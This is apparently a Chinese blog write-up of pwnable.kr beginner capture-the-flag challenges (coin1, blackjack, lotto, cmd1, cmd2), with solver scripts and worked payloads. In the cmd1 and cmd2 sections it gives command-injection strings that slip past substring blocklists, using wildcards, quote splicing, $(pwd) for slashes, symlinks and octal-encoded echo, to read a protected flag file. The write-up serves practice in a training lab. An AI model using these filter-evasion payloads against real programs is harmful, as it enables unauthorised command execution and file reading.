Pwnable之[Toddler's Bottle](二)
2018-03-11 17:39
183 查看
Pwnable之[Toddler’s Bottle](2)
Pwn挑战地址11.coin1
nc 连上。要你玩一个游戏,游戏的规则是:
你手里拿了几枚金币。
然而,其中有一枚假币。
假币和真币一模一样。
然而,它的重量不同于真正的重量。
真币重10,假币重达9
帮我找一个带刻度的假币
如果你发现100个假币,你将得到奖励:
还有,你有30秒的时间。
比如,n=4 c= 2 4个硬币,2次验证的机会
输入:0 1 #验证第一个第二个硬币
回显:20
输入:3 #验证第4个硬币
回显:10
那么答案就是2,第三个硬币是假的了
输入:2
回显:Correct
重复获得100次Correct就可以得到flag。
OK,典型的二分法。
代码走起:
#coding:utf-8 from pwn import * import re def get_weight(st,en,r): send_str="" if(st==en): send_str=str(en) else: for i in range(st,en+1): send_str=send_str+str(i)+" " r.sendline(send_str) ret=r.recvline() #print '[*]','-'*18," ",ret return int(ret) def choose_coin(num,cha,r): start=0 end=num-1 all_weight=0 for i in range(0,cha): #print str(i),'~'*10,'test'," ",start,end all_weight=get_weight(start,int((start+end)/2),r) if(all_weight%10==0): start=int((start+end)/2) else: end=int((start+end)/2) #print 'this is end:',str(end) r.sendline(str(end)) print '[+] Server:',r.recvline() r=remote('pwnable.kr',9007) print r.recv() for i in range(0,100): print '[*]','='*18," ",i," ","="*18 ,"[*]"#第一次尝试 recvword = r.recvline() print "[+]server: ",recvword p = re.compile(r'\d+')#匹配所有的数字 data = p.findall(recvword) num = int(data[0])#N chance = int(data[1])#C choose_coin(num,chance,r) print r.recvline() print r.recvline()
跑完你会发现,30秒根本不够,因为服务器响应时间太久了,像这样:
看了下大佬的,直接放到它服务器上跑。
需要去前面的做过的具有执行权限的地方跑。
想到了input那题的 var/tmp
登入进去跑。
发现这里没有pwn。
这时候要怎么办?
1.找到有pwn的。
又看下大佬的,需要到/tmp上。这里要注意的是,r=remote(‘pwnable.kr’,9007)要改为r=remote(‘0.0.0.0’,9007)
响应本地服务器的9007端口。
进入/tmp
vi jaken_coin
然后执行就好。
2.改pwn 的引用为socket的。
改后的代码为:#coding:utf-8 from socket import * import re def get_weight(st,en,r): send_str="" if(st==en): send_str=str(en) else: for i in range(st,en+1): send_str=send_str+str(i)+" " r.send(send_str+"\n") ret=r.recv(1024) #print '[*]','-'*18," ",ret return int(ret) def choose_coin(num,cha,r): start=0 end=num-1 all_weight=0 for i in range(0,cha): #print str(i),'~'*10,'test'," ",start,end all_weight=get_weight(start,int((start+end)/2),r) if(all_weight%10==0): start=int((start+end)/2) else: end=int((start+end)/2) #print 'this is end:',str(end) r.send(str(end)+"\n") print '[+] Server:',r.recv(1024) r=socket(AF_INET,SOCK_STREAM) #AF_INET表示将使用标准的ipv4地址或主机名 #SOCK_STREAM说明这是一个TCP客户端 r.connect(('pwnable.kr',9007)) print r.recv(2048) for i in range(0,100): print '[*]','='*18," ",i," ","="*18 ,"[*]"#第一次尝试 recvword = r.recv(1024) print "[+]server: ",recvword p = re.compile(r'\d+')#匹配所有的数字 data = p.findall(recvword) num = int(data[0])#N chance = int(data[1])#C choose_coin(num,chance,r) print r.recv(1024) r.close()
同样,吧pwnable.kr改为0.0.0.0,放到var/tmp上。
OK~
12.blackjack
blackjack又名’二十一点‘。源代码位置在:
https://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html
nc 上,玩了下这个游戏
最多玩到16000.
题目说要到100,0000万才可以给你flag。
第一个想法,刷,每次500。看看能不能刷到。
可是100,0000/500=2000
至少2000次?
发现代码有点臃肿,先放这,以后再写下:
r=remote('pwnable.kr',9009) print r.recv() #print '[*]','='*18," ",i," ","="*18 ,"[*]"#第一次尝试 for i in range(0,60): print r.recvline() if(i==36): r.sendline("y") if(i==41): r.sendline("1") r.sendline("1") print r.recvline()
尝试无果后,忽然想到如果我输入-500会怎样?
然后一直按H故意输掉,会不会变为1000呢?
果然可以。
问题出现在这里:
int betting() //Asks user amount to bet { printf("\n\nEnter Bet: $"); scanf("%d", &bet); if (bet > cash) //If player tries to bet more money than player has { printf("\nYou cannot bet more money than you have."); printf("\nEnter Bet: "); scanf("%d", &bet); return bet; } else return bet; } // End Function
没有对输入参数进行判断,如果输入-500,-(-500)就变成+500了。
那就直接-100,0000走起,然后赢一局就好了。
13.Lotto
代码:#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> unsigned char submit[6]; void play(){ int i; printf("Submit your 6 lotto bytes : "); fflush(stdout); int r; r = read(0, submit, 6); printf("Lotto Start!\n"); //sleep(1); // generate lotto numbers int fd = open("/dev/urandom", O_RDONLY); if(fd==-1){ printf("error. tell admin\n"); exit(-1); } unsigned char lotto[6]; if(read(fd, lotto, 6) != 6){ printf("error2. tell admin\n"); exit(-1); } for(i=0; i<6; i++){ lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45 } close(fd); // calculate lotto score int match = 0, j = 0; for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } } } // win! if(match == 6){ system("/bin/cat flag"); } else{ printf("bad luck...\n"); } } void help(){ printf("- nLotto Rule -\n"); printf("nlotto is consisted with 6 random natural numbers less than 46\n"); printf("your goal is to match lotto numbers as many as you can\n"); printf("if you win lottery for *1st place*, you will get reward\n"); printf("for more details, follow the link below\n"); printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n"); printf("mathematical chance to win this game is known to be 1/8145060.\n"); } int main(int argc, char* argv[]){ // menu unsigned int menu; while(1){ printf("- Select Menu -\n"); printf("1. Play Lotto\n"); printf("2. Help\n"); printf("3. Exit\n"); scanf("%d", &menu); switch(menu){ case 1: play(); break; case 2: help(); break; case 3: printf("bye\n"); return 0; default: printf("invalid menu\n"); break; c3b7 } } return 0; }
代码的意思是要你输入6个字节的lotto彩票,然后从本地/dev/urandom 随机文件中读取6个文件来和你输入的对比。
其中,被对比的lotto是:
for(i=0; i<6; i++){ lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45 }
由代码可知lotto的字符为1-45。。。
从45个字符中选中6个全对的概率是1/45^6,爆破?省省吧。
答案不可能是这样。。。
果然,问题就出现在这个判断胜利的函数里:
int match = 0, j = 0; for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } } } // win! if(match == 6){ system("/bin/cat flag"); } else{ printf("bad luck...\n"); }
那两个for循环共36次对比,每次lotto中的1个符号都要和submit中所有字符进行比对,相等则match++。match=6 就获得flag。
很明显,如果我输入都是同样的,例如’#’,且lotto[6]中恰好就只有一个#字符。那么match不就等于6了吗?这种概率就是44^6/45^6~0.874.
这概率就很可观了,大概两次就可以了。
那么我们还知道。ascii的1-32是不可见字符,如32代表的就是空格。
下面就是我们可见可输入的ascii 33-45 即’!’ ~ ’ - ‘。
解题方式:
输入6个#。
两次就拿到flag了。
14.cmd1
代码:#include <stdio.h> #include <string.h> int filter(char* cmd){//判断是否有"flag"、"sh"、"tmp"子串。 int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r; } int main(int argc, char* argv[], char** envp){ putenv("PATH=/fuckyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0; }
题目的意思是你输入一个参数运行,程序判断参数是否含有”flag”、”sh”、”tmp”子串,如果没有,则system执行第一个参数。
putenv 函数用来向环境表中 添加或者修改 环境变量。
函数原型:
当然,问题不是出在这个函数,这里只是顺便学习下,而是那个判断函数。
r += strstr(cmd, “flag”)!=0;
r += strstr(cmd, “sh”)!=0;
r += strstr(cmd, “tmp”)!=0;
是准确的匹配。
那如果我用
linux执行命令特有的
flg* 或者 拼接呢
我们用/bin/cat /home/cmd1/fla* 试试
或者 /bin/cat ‘/home/cmd1/fla’‘g’
还有一个思路是用这个cmd1程序调用另一个程序,该程序有获得falg的指令,然后在有执行权限的地方执行cmd1调用就可以直接获得flag。
例如:
cd /tmp
vi jaken
/bin/cat /home/cmd1/flag
chmod +777 jaken
/home/cmd1/cmd1 “./jaken”
15.cmd2
代码:#include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "=")!=0; r += strstr(cmd, "PATH")!=0; r += strstr(cmd, "export")!=0; r += strstr(cmd, "/")!=0; r += strstr(cmd, "`")!=0; r += strstr(cmd, "flag")!=0; return r; }
关键还是这个函数,它过滤了‘/’,前面的方法不行了。
看了前面的cmd1除了这个方法还有改PATH和export哎,有空复现下。
那就想办法绕过‘/’。
刚开始没什么想法,后面看了下大神的提示,重点在pwd这个指令。
我们都知道pwd是输出当前路径。
那如果在跟目录的话不就是‘/’了。。。
尝试在根目录构造
./home/cmd2/cmd2 ‘“echo $(pwd)”’
发现回显:
改为:./home/cmd2/cmd2 ‘”“echo $(pwd)”“’
发现成功回显‘/’:
不知道为啥要两个””
那么后面的就简单了。
构造payload:
./home/cmd2/cmd2 '""$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*""'
获得flag。
然后总结下看见大佬的骚思路:
1.一样是绕过pwd,不过不在根目录,在有执行权限的/tmp,利用pwd构造出cat命令。
再利用软链接:
cat的软链接,ln -s /bin/cat cat
flag的软链接,ln -s /home/cmd2/flag flag
然后直接执行 /home/cmd2/cmd2 “$(pwd)t f*”
具体如下:
2.用echo 进制解析进行绕过
(echo 命令不通过参数 e 也可以解析出 16 进制 和 8 进制的字串,不过不同 echo 版本会对这个功能有所限制,而虚拟机 Ubuntu 16.04 的 echo 就无法解析,只有 echo -e 才能解析特殊字符)
下面构造测试:
16进制:
from pwn import * cmd="/bin/cat home/cmd2/flag" print "\\"+"\\".join(hex(c) for c in ordlist(cmd))
获得,
\0x2f\0x62\0x69\0x6e\0x2f\0x63\0x61\0x74\0x20\0x2f\0x68\0x6f\0x6d\0x65\0x2f\0x63\0x6d\0x64\0x32\0x2f\0x66\0x6c\0x61\0x67
用8进制:
from pwn import * cmd="/bin/cat /home/cmd2/flag" print "\\"+"\\".join(oct(c) for c in ordlist(cmd))
得到,
\057\0142\0151\0156\057\0143\0141\0164\040\057\0150\0157\0155\0145\057\0143\0155\0144\062\057\0146\0154\0141\0147
测试下:
发现8进制成功解析。
那么就可以构造:
./cmd2 '$(echo -e "\057\0142\0151\0156\057\0143\0141\0164\040\057\0150\0157\0155\0145\057\0143\0155\0144\062\057\0146\0154\0141\0147")'
发现没有-e 可能是那个添加的环境没有,那就把-e去掉
如图,获得flag~
参考文章:
https://www.jianshu.com/p/c70e50710804
http://www.cnblogs.com/p4nda/p/7147552.html
相关文章推荐
- pwnable 笔记 Toddler's Bottle - bof
- pwnable.kr [Toddler's Bottle] - cmd1
- pwnable 笔记 Toddler's Bottle - mistake
- pwnable.kr [Toddler's Bottle] - cmd2
- pwnable 笔记 Toddler's Bottle - leg
- pwnable.kr [Toddler's Bottle] -fd
- pwnable.kr [Toddler's Bottle] - codemap
- pwnable 笔记 Toddler's Bottle - lotto
- pwnable.kr [Toddler's Bottle] - collision
- pwnable 笔记 Toddler's Bottle - flag
- pwnable.kr [Toddler's Bottle] - bof
- pwnable.kr [Toddler's Bottle] - passcode
- pwnable 笔记 Toddler's Bottle - passcode
- pwnable.kr [Toddler's Bottle] - flag
- pwnable 笔记 Toddler's Bottle - random
- pwnable.kr [Toddler's Bottle] - random
- pwnable 笔记 Toddler's Bottle - input
- pwnable.kr [Toddler's Bottle] - input
- pwnable 笔记 Toddler's Bottle - shellshock
- pwnable.kr [Toddler's Bottle] - leg